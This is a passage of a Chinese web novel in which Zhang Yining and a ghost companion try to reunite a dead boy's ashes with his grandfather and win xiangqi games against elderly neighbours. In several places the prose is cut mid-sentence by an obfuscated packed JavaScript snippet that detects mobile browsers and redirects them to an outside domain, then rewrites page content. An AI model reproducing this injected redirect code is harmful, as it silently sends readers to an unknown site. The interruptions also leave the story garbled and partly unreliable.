“一进门就闻到香味啦,馋虫都勾了出来。” “下周吧,下周的蟹会更肥,我到时告诉你,给你备上。”老金提着抹布走来,“你别洗了,小杜的活让他自己干。” 老金都发话了,张祎宁当然是乐意之至,她直接将碗撂下,退了出去,并贴心地提示:“刚刚那个停在‘烧桶汤来’,你继续,你继续”,然后将门轻轻带上。 “消息呢?快说。”张祎宁欺身上前,目光如炬。 杜文新不疾不徐道:“还记得吴智宁吗?” 当然记得,他让自己足足做了一个星期的噩梦,“记得。” “他解脱了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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闭上了眼,脑子里的画面就更清晰。有一人的面容浮现,她蓦地睁开眼,“刘元詹,还记得今晚从店里出来的那个男人吗?你对他有印象吗?” 刘元詹点点头,“他看见我了。” 果然,她没有错过那一闪即逝的灵光,她当时就隐隐有感,只是无法确定,但人对落在自己身上的视线会更敏感,好在刘元詹捕捉到了,予以佐证。 “我大概猜到他是谁了。我收拾的那桌有两副碗筷,但出来的只有他一个,我想也许他是和杜文新或者老金一起吃的,杜文新那个消息应该就是他带来的,当时杜文新对吴智宁提到了王警官,大概就是他。” “也就是随便一猜,对与不对都不重要,人家没挑明身份就是不想张扬,我也不在意。唉,吴智宁,总算可以不再被火困住,不用沉浸在目睹自己烧成灰的噩梦中了。”张祎宁有感而发,顺嘴说了几句心里话。 烧成灰……烧成灰! 她一个激灵站了起来,双眼放光,“刘元詹!你说!‘你’究竟指代的是什么?什么算是‘你’?有多具体?活着的躯壳算你吗?死掉以后鬼的形态算你吗?烧剩下的骨灰算不算你!?” 刘元詹顺着她的问题忖度了一会儿,不甚确定地回答:“应该……都算。” “对啊!照理说都算的!你看啊,如果是活着的躯壳,那小小早死透了,是不可能达到的,那如果是鬼的形态,又为什么不能是骨灰呢?小小想和爷爷一直在一起,如果我让他的骨灰陪着他爷爷,能不能也算一种形式的实现呢?” 刘元詹也找不出反驳的理由,于是他加深了张祎宁对这个主意的认同,应承道:“可行。” 一口浊气吐出,张祎宁满意地重新坐下,翘起二郎腿。此时,手机有消息提示音,她拿起一看,是杜文新,对方发了个发怒的表情包,张祎宁想起自己洗到一半的碗碟,由衷笑了。 不急不急,万事大吉; 不慌不慌,好事成双。 30. 味与色 上回到小小家做客时张祎宁看得清楚,客厅里没有供台没有牌位,更没有骨灰,很有可能是被安放在公墓里又或是被其他家人带走,如果在公墓里,这条路就被堵死了,她只能虔诚地祈盼是后者。 要搞清楚这个问题,她毫不犹豫地想到求助杜文新和老金。 基于昨天自己小小小小地耍弄了一下杜文新,可以想见等下必定不是那么容易就能成功,少不得被挖苦几句。张祎宁站在店门前做心理建设,人在屋檐下,不得不低头啊,大不了今天承包所有洗刷工作。 但她的计划落空了,坐在吧台后的人竟然是老金,杜文新不在店里。 “老金?你怎么出来了?杜文新呢?” 看到进店的是熟悉面孔,老金毫不掩饰地松了一口气,“他有点事,忙完就来,能不能麻烦你今晚就替他看一下前面?” 周五晚上,店里坐了两桌食客,较以往,这算生意好的时候,杜文新竟然不在,让老金独守帐中,稀奇。自己有事相求,自是有求必应,迭声道:“没问题没问题。” 得到张祎宁肯定的回答,老金一跃而起,就要逃回后厨,那劫后余生的表情和干脆利落的动作,颇有“躲毒圈”的风采。回到安全区的一步之遥突然横插入一只拖后腿的“罪恶之手”,是张祎宁眼疾手快地拦住他。 “老金,我想找你帮个忙。” 张祎宁立时做下决定。老金可比杜文新好说话多了,这天赐良机送到眼前,不是天要助她当阎王,还能是什么? 可不等她组织完语言,老金就抬手制止道:“我只管店里的事,其他的你等小杜回来跟他说吧。” 老金这健壮的体格,身手也灵活,脚步一换一移就溜出了张祎宁和刘元詹的包围圈,无情地将厨房门一关,隔绝一切话题。 不是……我刚刚好歹也算救他脱离苦海,这都不听人把话说完的吗…… 张祎宁不虞,自己就没在这两人身上讨到过一次好,哦,好吧,他们请客吃的松茸猪肚鸡汤锅算一次。 杜文新每次坐在这时,桌上总堆着一沓沓的纸张,现在都不见踪影,徒留无用武之地的计算器和常见的杯盏。 刘元詹觑着空试探性问道:“今日还看《电击小子》吗?” 张祎宁屈指轻敲桌面,心里翻腾起诸多计较,这桩单子像是还没来得及理顺的毛线球,线头藏在纷乱的毛线下边,更麻烦的是,它们相互纠缠,留下一个又一个亟待解开的结,她得多管齐下,“看,有一个办法算一个。” 坐在靠角落那桌的一男一女似乎是同事,他们在低声交谈近日来工作上的不顺,吐槽时音量随之提高,张祎宁能捕捉到零星的几个字“周报”、“stand-by”、“小群”,大部分的话音都被另一桌盖住,两个年轻人在激烈地就目前的就业市场和形势各抒己见。她支着脑袋,左边耳朵里是这些闲话,右边耳朵里飘来热血的动画配音。 张祎宁的眼皮逐渐变沉,工作了一日的疲惫被这些并不嘈杂的声音仔细冲刷,她在某个瞬间觉得仿佛回到了月前,充斥着卖力的吆喝声、杂沓的脚步声、尖锐的鸣笛声的天桥上,夏夜的热风和一点点清凉交替拂过,吸吸鼻子,何其复杂的味道。她就坐在逼仄的算命摊前发呆,在匆匆的人群里等一团稀薄的透明体,全靠缘分。 叮铃。 门由外自内拉开。 那个生拉硬拽将自己从原始轨道拖到这里的人走了进来。 他扫了一眼在场的食客,瞥见张祎宁和刘元詹窝在吧台后,没打招呼,先进了厨房。 张祎宁的视线跟随着杜文新,忽听得身旁的刘元詹说了一句“他的味道变了。” 她转头看向刘元詹略显严肃的脸,讶然道:“你有嗅觉?怎么变了?” 刘元詹晃晃脑袋,解释说:“不是闻,是感知。很混乱,失衡无序。” 之前刘元詹说杜文新和老金身上的味道和自己身上的不同,她就没听懂,现在这种味道又开始发生变化?一定是出了什么事情引发转变,又是怎样的事情能让一个人身上的味道,或者说近似特质的东西发生改变? 她止住自己发散的思绪,大胆提出假设:“我能不能理解为这不是我所认识的杜文新,换了一个人?” 刘元詹哑然失笑:“不,我相信那样的变化绝不止如此。” …… 她瞬间失了兴趣。在场一只游荡百年的鬼、一个死而复生的掌簿,哪一个拎出来都挺匪夷所思的,所以杜文新和老金究竟是个什么玩意儿、杜文新身上发生了什么,就算他不是他了,又有什么可大惊小怪的呢? 当她恢复如常后,杜文新也从厨房走了出来。张祎宁细瞧才发觉他的脸在灯光下透出阴恻恻的惨白,便旁敲侧击道:“你这是怎么?生病了?脸色这么差。” 杜文新靠在厨房门边,有气无力的,“你这么闲?每晚都来。” “守株待兔嘛。” “那你继续守吧,我先回。” 他看起来确实不太好,但张祎宁也不想今晚就无功而返,她商量道:“我有点事想找你们帮忙。” “说。” 她要提的字眼里既包括“骨灰”、“鬼”,还有“殡仪馆”,不管压多低的声音都害怕会被食客们听到,一时之间犹豫得张不了口,感慨道:“你们店里就不能放点纯音乐当氛围音吗?” 杜文新抬头指向门角顶上安静的铃铛。 凡客至,这铃铛就会响,不论人鬼。张祎宁无力吐槽,这铃铛还有阎罗殿的一众流程、机制都透露出莫名的别扭,明明是很神奇的东西,但设计上、实用感受上处处鸡肋,“精装版过家家”,便是如此。 “进来吧。”杜文新眼前已经开始犯晕,他决定速战速决,早点解决掉张祎宁的问题,早点脱身,所以他又回到厨房。 这正合张祎宁的意,她甫一关门,就开门见山:“还是那个小鬼的事,我想知道他的骨灰在哪?” “我怎么知道?” 不诚实!张祎宁腹诽。 “你们不是有掌簿在殡仪馆吗?能不能帮我问问,不需要做什么,我只想知道那个小鬼,全名王啸,他的骨灰现在被安置在哪。” 这就是张祎宁的应对之策,杜文新暗暗点头,是个破局之法,不过……“殡仪馆有掌簿,谁说的?” 呃……总不能承认是之前在他那堆纸里偷瞄来的吧。 她搪塞道:“这样那样的,总之我就是知道……”瞥见杜文新不善的目光,她立即正色:“但我发誓!保证守口如瓶!帮帮我吧,我没别的招了。” 杜文新不置可否。 无声的拉锯战又开始上演,不过这次帷幕尚未拉开,就被一只手给拉上了。透明的手穿过厨房门,手的主人明显迟疑了片刻,开始上下挥动,而后在杜文新、张祎宁和老金的注视下,先是肩膀、而后是一只脚,最后是刘元詹的脑袋挤了进来。他睁着浑圆的双眼,目光在三人身上逡巡,为自己鲁莽的行动支吾解释:“这个门可以进……” 张祎宁立刻朝他挥手,刘元詹像得到释放的信号,唰地收回自己逾矩的手脚。 她干笑着看向厨房里的二人:“哈哈哈哈,正是爱看动画片、好奇心重的年纪——” 杜文新的声音低沉,听不出喜怒,“骨灰放公墓里,殡仪馆还真不一定能清楚。我帮你问,但别人没义务帮忙,你也得知道。” 这么好说话,莫不是真被邪祟附身了? 张祎宁愕然地看着杜文新缓慢走出餐厅,她突然觉得这件事情可大可小了,忙上前和刘元詹耳语:“你说得对,杜文新不是杜文新了!” * 杜文新的消息来得很快,小小的骨灰不在殡仪馆, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16471087|185225||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不在公墓,又不在爷爷家,最有可能的就是小小的父母。 事已至此,这件事情又回到了她最不擅长的领域,和活人打交道。 她想到了三种办法可以获取到有关小小父母的信息,第一是通过小小,刘元詹这些天的《电击小子》不能白看,得靠他套话;第二是街坊四邻,张祎宁对大树下弈棋的大爷们和那天早上破口大骂的大妈印象深刻,如果方式得当,她能从他们那找到突破口;第三个办法不到最后一步轻易不敢用,那就是小小的爷爷,爷爷的精神似乎有些错乱,张祎宁不敢随便接触他,她对分寸毫无把握。 而前两个办法,刘元詹或许都能成为妙手。 “刘元詹,你会下象棋吗?”张祎宁叼着根牙刷含糊问道。 刘元詹不知什么时候喜欢上了晒太阳,一大早就站在阳台上长身而立,衣身两侧开衩处缀有内摆,袍袖长垂及履。她时常会有种割裂感,像看见西沉的残照正沐浴在初升的晨光里,一如热衷于给他看现代动画片。 刘元詹闻言,回望她,不确定道:“应是会的,我看他们下过,很熟悉。” 有基础就好办啦!她欣喜地朝他招手,喊道:“快来!我们试试。” 她自己不会不要紧,21世纪先进科技的好处就体现出来啦,她可以作为刘元詹意志的代行者,在线弈棋。刘元詹虽清楚地知晓时代的变迁,这阵子跟着张祎宁也见识过世上的精妙之物,但见到这在线弈棋,只需要一双手,便能将自己的思维落在实点,隔空与人对话,这让他没有知觉的身体还是不由战栗了一下,话音也带上轻微的抖动:“炮二平五。” 张祎宁看着左右俩红炮,陷入迷茫:“炮……二?哪边的二?平五什么意思?” 科技的力量也取决于掌握它的人。 “右二路平移至五路。” “一、二、三、四、五……”张祎宁口中喃喃,好不容易才开了个局,要以这个蠢样子引起楼下的“民间高手”们的注意,简直痴人说梦,她提议道:“要不你直接指给我看吧?这个炮走到这,这样,不然我反应时间太长了。” “好。” “上马。” 刘元詹俯下身,依言在电脑屏幕上指示出两点,张祎宁飞快地照做。 他的思路很快很顺畅,黑方有所行动后,他立马就能落子,几局下来,反而是对方的速度慢了下来,张祎宁能趁着这个间隙复盘行动的思路,渐渐也找到些手感。 “他下一步是不是会走象了?” “嗯,我们借势过兵。” 声音就在自己的耳旁响起,张祎宁转眼看去。视线被一根线绳类的东西阻挡,定睛一看,是刘元詹鬓边垂下的一绺发梢,落在她的鼻梁上,她伸手想拂去,却扑个空,这才将头后撤离远了些,鼻子上痒痒的,似还有碎发残留。 没有了头发的阻隔,她看见了近在咫尺的修长脖颈,中央是凸起的喉结,再往上是下颏,顺着流畅的线条,是一张一合的嘴巴,看不清颜色,但饱满得像是能透出里底的鲜红,还有牙齿,张祎宁的脑海里在自动为它们着色。 “过兵,祎宁。” 祎宁。 他是从什么时候开始这么唤自己的。 “啊?啊……过兵过兵。” 嚣张上移的视线在触到那双漆黑的瞳孔时便偃旗息鼓,着色到一半的废料也烟消云散。她慌乱地转移目光,回到电脑屏幕上,但己方那些红字又聚合成了他的唇齿,而且再也挥不散。 张祎宁心跳如雷,下意识直起腰背,正襟危坐。 窒息的练习时间总算过去。刘元詹未察觉她不同寻常的面色,舒心地笑道:“判定规则上有异,却也不妨,很有意思的。” “有意思……呵呵……有意思……”张祎宁假笑着,关上了电脑,“事不宜迟,我们现在就下去杀两盘!” 31. 车 现在是早上十点半,小小的爷爷通常会在十二点前后这段时间喊他回家吃饭,张祎宁要尽量在这段时间打入楼下大爷内部,趁势在听到喊声时自然地提出疑问。 两人正在对弈,一人旁观,人不多不少,是开展陌生人社交的“安全人数”。 “我们先旁观,你摸清楚老头们的棋路,有谱了就跟我说。”张祎宁快速说完,换气晚一秒,刘元詹就先跑了,她又一次在刘元詹的脸上看到雪山初晴的笑容,和他沉迷上看电视时如出一辙。 张祎宁转转头扭扭腰,做着伸展运动,蹑手蹑脚地靠近棋桌。棋局应已过半,两方手上都有缴获的棋子,黑方的马、卒都在对方地盘,看起来应该是占优。大爷们兴致都很高涨,每走一步或是给个下马威,或是品评两句。 张祎宁却静不下心来,不断走神,她时而透过悬铃木的遮挡看向仍在建筑沙石堡垒的小小,时而抬头扫过小小爷爷的那扇窗口,时而又在大爷们和刘元詹身上逡巡。 “将!”叫杀声似萧索秋风,带着劈空裂风的咻咻声划破她纷杂的思绪,只余天朗气清。 她瞧见了刘元詹递来的眼神,微微颔首以示回应。 果是黑方夺胜。一局罢,观战的大爷终于可以名正言顺地指手画脚,他十分惋惜地在复盘红方弃车这个选择致使局势落入下乘,你一言我一语,复局的气氛比对弈时要热烈得多。张祎宁几次张口都败下阵来,她怕打扰了大爷们的兴致。 终于出现了一个气口,她就像站在起跑线上等待发令枪响的选手,憋气、吐气、憋气、吐气,眼睁睁盯着那只手食指微弯,还未听到枪响,她一鼓作气,抢跑插言道:“大爷好厉害!不知道我有没有这个机会可以讨教讨教?” 在肚里碾磨了多次的台词脱口而出,一板一眼,刻意的情绪起伏,张祎宁顿时想逃。 黑方大爷依然笑着,没有被这奇怪的人和话影响,爽朗应道:“哦?小姑娘有什么指教?” 她连连摆手,“指教谈不上,是讨教、讨教。” 三位大爷互看一眼,张祎宁的话是对黑方大爷说的,自是由黑方大爷开口:“好!跟他们都下腻了,难得有年轻人愿意陪我们耍一把,来!摆上!” 红方大爷乐呵呵地让位,一人一边,站在两旁观战。刘元詹来到自己的左手边,如同镇山石一般的存在,她不再紧张。 又是红方吗……红色的帅浮泛起亮光,耀眼夺目,她忍不住伸出手抚摸。 “小姑娘,请先。” 张祎宁规规矩矩地礼貌点头,依然先行炮。 “当头炮。那我上马。”黑方大爷自如应对。 刘元詹点了点己方二路的马至三路,张祎宁立马跟上。 “屏风马。”黑方大爷再上一马。 …… 开局的路数很熟悉,己方和对方的应对都很标准,张祎宁在早上练习的几回合里见过。 一兵换一卒,局面还不明了。这时,刘元詹的手指向了马,跳马过河。 黑车正挥舞镰刀,准备收割红炮,红马过河后便会自投罗网,陷入一卒一象的包围圈内,虽说己方的隔山炮也虎视眈眈,但如果对方再拱一卒,双卒夹红马……张祎宁迟迟下不去手。 直到那双匀整的手再次点了一下红马,依然是跳马过河。 张祎宁不再犹豫,但心里直打摆,她不安地看向黑方大爷。 对方会心一笑,拱卒。 她悄悄做了个深呼吸,闭上眼缓神。 刘元詹是想让对方动炮吧,但好像失算了,双卒夹红马,车一平四,马就被吃得死死的。 她清楚地看见三位大爷的脸上都挂上了然的笑。 接着,上兵、上炮、打中卒…… 进炮,将军,但被象吃。 炮打卒,将军,对方飞象阻挡。 红方仍在厮杀,不过更多的是在挥空拳。 车换车、炮对炮、上马…… 欸?等等,又将军了,但对方好像没有退路。 张祎宁显然比在场所有人都更晚发现这一点。 手上不带停的,落子快且干脆,但她的脑袋总比局面慢一步,她还在为痛失一员大“车”而焦心,好像已经叫杀了。 叫杀的正是曾经是焦点,后被搁置的那匹马,弃车砍炮后便是连上马,将军。 “嗯,五七炮飞刀,打眼了。”黑方大爷不断念叨专业术语,张祎宁不敢接话,就连现在是不是真的赢了她也不太确定,尽力保持着平和的神色。 “这里,上兵,很有意思啊!”自始至终都在观战的大爷点了点棋盘,也若有所思。 这时张祎宁才确定这局棋结束了。 红方大爷也兴致勃勃地加入:“我觉得后面是关键,如果不拱卒,她就没有机会进炮破底象。” 观战大爷不甚同意:“这很常见,我觉得不该飞象,不如架中炮对攻。” 黑方大爷反驳道:“没用的,她还是照样上马。” 他将话头抛向这张祎宁:“对吧?小姑娘?这个车挡我将门,就是为了上马吧?” “呃……您说得对,您慧眼。” “哈哈哈哈,大意了,小姑娘下得好,学过?” 她不好意思地觑了身旁一眼,只瞥见清癯的一只手和衣袂,“朋友教的,偷学了一点。” 黑方大爷不吝赞美:“我这么问是看你下棋时很沉默,不怎么说话,瞧我们这几个老头子下个棋最忙叨的就是嘴了!哈哈哈哈哈!你这小师傅教得好!下得好!” “我来一回!看得手痒,小姑娘有没有兴趣陪我下一回?”观战大爷边说边赶着黑方大爷让位。 张祎宁点亮手机屏幕,不到十二点,还得硬着头皮下。 这位观战大爷的实力应是在另二位之上,他游刃有余,而且格外健谈—— “小姑娘是最近才搬过来的吗?以前没见过啊。” “是,刚搬来几个月。” “租的哪户?多少钱呀?” “刚毕业吧?公司就在附近?” “合租吗?自己住的话要注意安全,老冯虽然很尽心,年纪大了难免有疏漏,遇到什么问题找2栋301的李芳阿姨,她热心,还是志愿者。” “是本地人吧?” …… 战术,绝对是战术!张祎宁已经被这些喋喋不休的问题搅得脑瓜儿疼,如若真正的执棋方是她,她早就缴械投降,自觉钻入陷阱。 像是达成某种共识,刘元詹杀招尽出,越发狠厉,张祎宁落子也掷地有声。 刘元詹喜静,也没有尊老的道德约束。 “小小——回家吃饭——” 不大不小的声音在院内回荡,和着其他人家锅铲翻飞的撞击声和孩童朗朗的背书声,“生活”有声音的话,不外这样。可是那被喊作“小小”的男孩身体透明,蹦蹦跳跳地循声而去,又露出了“生活”底下白骨森森的惨状。 张祎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16482535|185225||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宁在等待三位大爷先挑起话题。 “我高象封车,你这三路车可是出不去咯~” 等来的只有观战大爷的提醒,其他二位也是严格遵循“观棋不语”的准则。 张祎宁少不得又将她拙劣的演技摆上台面,“欸?是哪户人家在喊?可我也没见到有小孩在这呀。” 与棋无关,黑方大爷憋不住嘴,先说道:“嗨呀!是老王,我跟你说,老王原本是这小区里最会下象棋的,只可惜家里出那档子事后就再也不下了。” 张祎宁扬起眉毛,慨叹道:“能被各位称高手的肯定不俗,这是出了什么事情?太可惜了。” 黑方大爷现出犹豫之色:“这……毕竟是人家家事……” 红方大爷抢白道:“小区里哪个不晓得了?” 观战大爷退完车后就接话道:“小姑娘来得晚,就不太清楚,确实也是小区人尽皆知的事情。老王的老伴走得早,家里一个儿子在外地上班,就把小孩放在爷爷身边带着读书,老王平时买完菜接完孙子就喜欢跟我们杀两盘,孙子就在这院里玩会儿。那天就在这下着棋呢,就有人边跑进来边喊老王说他孙子出事了,是跑出去出了车祸,没救回来……” 张祎宁没料到是这样的意外,心底里翻起说不上来的悲愁,她讷讷问道:“那……那他现在这是?” 黑方大爷郁郁道:“唉……得疯病啦。” “这也不对吧,就这么放着不管吗?家里人呢?他儿子?” 红方大爷冷哼一声,“闹都闹了好大一场!儿子媳妇说他杀人凶手呢,又要告老冯工作失职,没看住让一个小孩溜出去,可凶!那现在搞得这样也不管啦,由着老王天天在这犯疯病,要我说得有人管的,家里不管社会也得管吧,成天这样实在不像话……” 黑方大爷打断他的埋怨:“好啦好啦不说了,天灾人祸的。” 红方大爷的怒气还没发泄完就被强行熄了火,横眉竖眼的,好不痛快,也无心观战了,留下句“回家吃饭了,一堆污糟事……”便拂袖而去。 张祎宁在这样凝滞的氛围里兢兢业业地继续充当“刽子手”,利用一马一车一炮堵住对方“将”的所有退路,观战大爷恋恋不舍地放下棋子,“好啊,又是海底捞月又是钓鱼马的,没着了。” 黑方大爷也很开心,“小姑娘真不错,都想找你给我家孙子当老师了哈哈哈哈!” “这小区里会下棋的不少,小姑娘常来练练手。” 张祎宁拘谨地听着这些不属于自己的溢美之词,礼貌地送走两位大爷。 天塌了…… 张祎宁不得不将破局之策钉死,小小的骨灰应该是在他父母手上,但要让骨灰和爷爷重聚,看起来倒不如让小小继续以鬼的形态和爷爷在一起有可行性。 刘元詹坐在黑方,扫视过石桌上的每一枚棋子,他在努力回忆——我从前……有着怎样的人生?是否也会闲时与人对弈,对弈之人是自己的好友吗?那我又因何而死?死在这样的未立之年? “刘元詹,如果你是黑方,一马一车一炮,有生机吗?” 他的目光落在这三枚棋子上,一一抚过,坚定地说:“老马破士,进炮叫将,提车抽将,即便平炮压马,尚有一车,不过是得片刻转圜,败局已定。” 多好的隐喻啊,败局已定。 “那我们就回到这‘车’上。” 张祎宁将盘面上的所有棋子扫到两边,只余一黑车与两仕,分立两界。 32. 重开一局 张祎宁找回自己的节奏,自从将“要当阎王”作为目标后,她就紧绷着,生怕浪费时间、接到烂活,她明知小小的事情会很棘手,得先耐心地找到刺从而避开刺,可她不管不顾,非要直接上手,扎了自己一手的血,不得不停下来耐心养伤。不过也并非全无收获,起码她能清楚地通过沾上的血找到那些隐刺。 刘元詹又找到了新的乐趣,比起《海绵宝宝》和《电击小子》,他现在更钟情于象棋复局讲解和《围棋少年》。杜文新觉得这样更合适,他说“你可别再拿你小时候开蒙的东西硬塞给他了”。不需要刘元詹告诉她杜文新的味道又回来了,张祎宁就能感受到毒舌重回人间的威力,她翻白眼的次数比以往都要多。 张祎宁稳稳地接住转了一圈的瞳仁重新归位,轻哂道:“刘元詹现在可是打遍我们小区无敌手,在你这是益智的东西,在他那是休闲。而我,是伯乐。” 杜文新哪壶不开提哪壶:“伯乐最近又闲下来了?” “我自从被你们哄骗以后生意每况愈下,现在都揭不开锅了!” “冲业绩还想伸手要,你怎么不直接叫阎王把座儿让给你?出门自己揽客去。”杜文新边说边按计算器,发出一声声“归零归零归零”的嘲弄。 张祎宁准备接着呛声,生意没得做,嘴上工夫不能再落下风了。 “你的回合了。”刘元詹第三次提醒到。 他已不再满足于在小区里当无冕之王,他大概觉得如果能将张祎宁教会,成为小区里仅次于他的存在,更能体现出不俗的能力。 张祎宁开始了左右手互博的漫长旅程。 她看着己方孤零零的一帅一仕和一马,以及在对方地盘上毫无用武之地的一兵,感到憋闷。刘元詹就像逗着她玩似的,一次次把刀架她脖子上了又放开,不断蚕食她的兵力,大概直到己方只剩一帅才肯放过她喊停吧。 “认输认输,我们不能再这样坐以待毙了!”她急于摆脱被戏耍的处境。 刘元詹看着被无情合上的电脑,可惜极了。 “那要如何?重开一局?” “对啊,重开一局!走,我们去天桥碰碰运气。” 刘元詹的意思是,重开一局象棋,他已经想到了新的好玩的行棋布局。 * 自从摊位被举报后张祎宁就再没来过,平时的活动范围集中在家、公司和1980taste,没有机会来这附近,所以她根本不知道这里又重新变回原样了。 “还是这些熟悉的面孔,如果不是天气越来越冷,咱们重新在这支个摊也挺好……” 恐怕不太行。 话落,他们已经走回那个熟悉的位置,不过这里早已易主。 好眼熟,似是之前那位美甲摊主。 “嚯!大妹子!”还是热情的吆喝声,张祎宁竟油然而生亲近之感。 她笑着迎上隔壁摊位的大哥,“好久不见。” “真是你!刚就有人在群里说见到你,没想到真是!” “啊?”张祎宁丈二和尚摸不着头脑。 大哥拎出红色胶凳给她坐,解释道:“你啊出名啦!你不知道,你上次没来那晚,有人来扫摊儿,真神了嘿!你这是提前算到啦?我就倒霉,给罚了钱。” 啊……她出名了…… 张祎宁连忙打击这没影儿的封建迷信:“没算到!不是,纯属撞大运。” 大哥露出一副“我都懂”的模样,故意压低声音:“没事,我懂的,这种事都不好往外乱说。而且偏偏你能撞大运,说明你心诚,有能耐!” 越解释越玄乎,她开始庆幸自己后来没有再选择回来摆摊,不然真会因“传播封建迷信”被盯上。而且,大哥啊……要不是我,你可能也不至于被罚钱……张祎宁无颜面对他的热忱。 她决定尽力弥补一下,于是,就有了今夜第二件后悔的事。 大哥还是干老本行,甚至那些书也眼熟得很,张祎宁一眼就看见那本《漫步太阳系》,还没卖出去。这次引起注意的是《适情雅趣》,这是讲象棋的书,不知是什么版本,厚薄适中,她挑了出来。又在其中翻出了看起来是最厚的一本《资本论》,大大方方地放到大哥的称上,爽快道:“大哥,来两本。” “诶呀,果然气度不凡!”大哥看了看称上的数字,爽快道:“一共16斤7两,算150好啦。” 张祎宁的笑容僵在脸上,不敢相信地翻了翻书,生怕里面藏了秤砣。 “150……真有分量啊……” “那是!我这可不是那些薄薄的质量不好的书,你摸摸,每一页都厚实着呢!” 没关系,没关系,150元也只能吃两顿老金做的饭,但她买到了这么厚的两本书,书籍是精神的食粮,是进步的阶梯;没关系,就当给大哥补贴一份罚款了…… 她保持着得体的笑容,不让扫码的手过于颤抖。 “妹子,来都来了,不做个美甲再走?”大哥语出惊人。 大哥还是那么热心,张祎宁出走数月,归来他还在帮隔壁摊主招揽生意,只是这次被忽悠的对象换成了她。 她吃力地抱着17斤的书摇头,“没有做美甲的习惯。” “不是……”大哥欲言又止,向美甲摊主招手,喊:“小柔,你过来。” 大哥黝黑的面庞在昏暗的灯光下显得十分憨厚,他腼腆地笑着,张祎宁相信,在黧黑的肤色遮挡下,红云早已飞上他的两颊。 “这是小柔,我女朋友。还多亏了你,给我算的可准了,而且你不在这了,她才会来,反正你就是我俩的红娘!” 张祎宁当时是箭在弦上,不得不胡诌几句应付,根本不记得自己胡说些什么,但想到对方真凭一句话找到了女友,也很好奇,发出疑问:“这是怎么说?” “不是你说的嘛,我要找的人会出现在这条路上,果然!”大哥眉飞色舞,有种神迹在自己身上显灵的自豪,毕竟自己可不也算万里挑一了嘛! 看向一旁的小柔,他又羞赧道:“是这样,我女朋友想给你免费做个指甲,诚心求个点拨,闲着也是闲着,做指甲的过程中也可以顺便看看手相嘛……” 张祎宁难以置信,痛心疾首。 大哥……我可是刚照顾完你生意,这又薅到我头上来了? 她在思考将书退回的可能性,最终还是拉不下脸面,断然拒绝:“大哥,我已经不干这行啦,这就走,既然在一起了就祝你们幸福。” 张祎宁抱着17斤的盗版书毅然离开。 该死的盗版书,该死的资本,该死的爱情。 * “张祎宁,看!它又亮了。” 刘元詹指着那个高耸的地标塔,中上部分原先飘字的地方现在换成了一幅一幅的画面,她认出那些是本省的旅游景点。 他们一齐站在人行步道上,仰视着不断循环画面的地标塔。面前是接连闪过的车灯,顶上是暖黄的路灯,她突然觉得太亮了,这个城市太亮了。 明明光亮已占据了一整个白天,到了夜晚仍然亮如白昼,将黑暗向周边不断挤压。会不会有一天,这个世界上的黑将不再有一地立足? “今晚本来是出来找鬼的,结果鬼没找到,还要搬着这破书。” “也许能找到……我追余倾山的那晚曾在深巷里遇见一老人,或许我们可以再碰碰运气。”刘元詹的眼睛亮晶晶的,竟盖过这许多光。 深巷里的老人吗?似乎在哪听过…… 她紧急在如糨糊般粘稠的脑袋里搜寻,深巷老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不要腿倒是可以考虑,虽然找人也不是她的强项,但试试无妨,万一瞎猫撞上死耗子了呢? 她还是有些疑惑:“你找人做什么?” “我这样还能做什么,我就想最后看他一眼,看见就无憾了,但我腿断了走不了。” 说的也是,都这样了还能做什么? 张祎宁大胆地走近一步,轻声道:“我接了,不过找人我不是很在行。” “很简单的,庆林小学六年级八班的董昊。 “好,你等我消息。” 老人又伸出双臂,但离张祎宁仍有一步之遥,她看着那双枯瘦的手,一咬牙又靠近了点,老人的双手正好搭在她的肩膀上。 “谢谢你呀,帮我大忙了。” 张祎宁慢悠悠骑着单车,心情转阴为晴,这个速度对于刘元詹而言轻轻松松,他只保持着快走的节奏就能与张祎宁持平。只是骑行道狭窄,总有车从后方驶来,他不喜欢被穿越的感觉,始终保持警惕。 又一次向旁边避让,张祎宁看着表情不太明媚的刘元詹,唇角一勾,玩心大起。她趁刘元詹不注意,猛地用力踩脚踏板,单车加速向前驶去,他不能再保持快走的步调,身子稍稍前倾,跑了起来,在张祎宁的眼里,他是飞了过来。 一会儿加速,一会儿减速,刘元詹明知张祎宁在戏弄他,却觉轻快。 他有什么样的机会能在这样的秋夜里做游戏呢? 